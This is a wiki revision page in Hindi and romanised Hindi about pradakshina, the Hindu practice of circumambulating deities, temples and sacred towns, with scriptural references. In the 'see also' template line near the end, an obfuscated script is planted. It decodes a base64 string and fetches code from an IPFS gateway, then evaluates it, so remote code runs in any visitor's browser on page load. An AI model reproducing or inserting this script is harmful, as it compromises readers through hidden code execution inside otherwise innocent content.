Difference between revisions of "प्रदक्षिणा"
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*प्रदक्षिणा का प्राथमिक कारण तथा साधारण धार्मिक विचार [[सूर्य देव]] की दैनिक चाल से निर्गत हुआ है। जिस तरह से सूर्य प्रात: पूर्व में निकलता है, दक्षिण के मार्ग से चलकर पश्चिम में अस्त हो जाता है, उसी प्रकार [[हिन्दू]] धार्मिक विचारकों के तदनुरूप अपने धार्मिक कृत्यों को बाधा विध्न विहीन भाव से सम्पादनार्थ प्रदक्षिणा करने का विधान किया। शतपथ ब्राह्मण में प्रदक्षिणामंत्र स्वरूप कहा भी गया है, सूर्य के समान यह हमारा पवित्र कार्य पूर्ण हो।<ref>(पुस्तक 'हिन्दू धर्मकोश') पृष्ठ संख्या-420</ref> | *प्रदक्षिणा का प्राथमिक कारण तथा साधारण धार्मिक विचार [[सूर्य देव]] की दैनिक चाल से निर्गत हुआ है। जिस तरह से सूर्य प्रात: पूर्व में निकलता है, दक्षिण के मार्ग से चलकर पश्चिम में अस्त हो जाता है, उसी प्रकार [[हिन्दू]] धार्मिक विचारकों के तदनुरूप अपने धार्मिक कृत्यों को बाधा विध्न विहीन भाव से सम्पादनार्थ प्रदक्षिणा करने का विधान किया। शतपथ ब्राह्मण में प्रदक्षिणामंत्र स्वरूप कहा भी गया है, सूर्य के समान यह हमारा पवित्र कार्य पूर्ण हो।<ref>(पुस्तक 'हिन्दू धर्मकोश') पृष्ठ संख्या-420</ref> | ||
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Revision as of 05:54, 16 April 2011
- kisi vastu ko apani dahini or rakhakar ghoomana ya parikrama lagane ko pradakshina kahate haian. pradakshina shodashopachar poojan ki ek mahatvapoorn dharmik kriya hai, jo pavitr vastuoan, mandiroan tatha pavitr sthanoan ke charoan or chalakar di jati hai.
- kashi aisi hi pradakshina ke lie pavitr marg hai, jisamean yahaan ke sabhi punyasthal ghire hue haian aur jis par yatri chalakar kashi dham ki pradakshina karate haian. aise hi pradakshinamarg mathura, ayodhya, prayag, chitrakoot adi mean haian.
- pradakshina ki pratha ati prachin hai. vaidik kal se hi isase vyaktiyoan, devamoortiyoan, pavitr sthanoan ko prabhavit karane ya samman pradarshan ka kary samajha jata raha hai.
- shatapath brahman mean yajnamandap ke charoan or sath mean jalata hua aangar lekar pradakshina karane ko kaha gaya hai. grihyasootroan mean grihanirman ke nishchit kiye gaye sthan ke charoan or jal chhi dakate hue evan mantr uchcharan karate hue tin bar ghoomane ki vidhi likhi gee hai. manusmriti mean vivah ke samaksh vadhu ko agni ke charoan or tin bar pradakshina karane ka vidhan batalaya gaya hai.
- pradakshina ka prathamik karan tatha sadharan dharmik vichar soory dev ki dainik chal se nirgat hua hai. jis tarah se soory prat: poorv mean nikalata hai, dakshin ke marg se chalakar pashchim mean ast ho jata hai, usi prakar hindoo dharmik vicharakoan ke tadanuroop apane dharmik krityoan ko badha vidhn vihin bhav se sampadanarth pradakshina karane ka vidhan kiya. shatapath brahman mean pradakshinamantr svaroop kaha bhi gaya hai, soory ke saman yah hamara pavitr kary poorn ho.[1]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- ↑ (pustak 'hindoo dharmakosh') prishth sankhya-420
sanbandhit lekh
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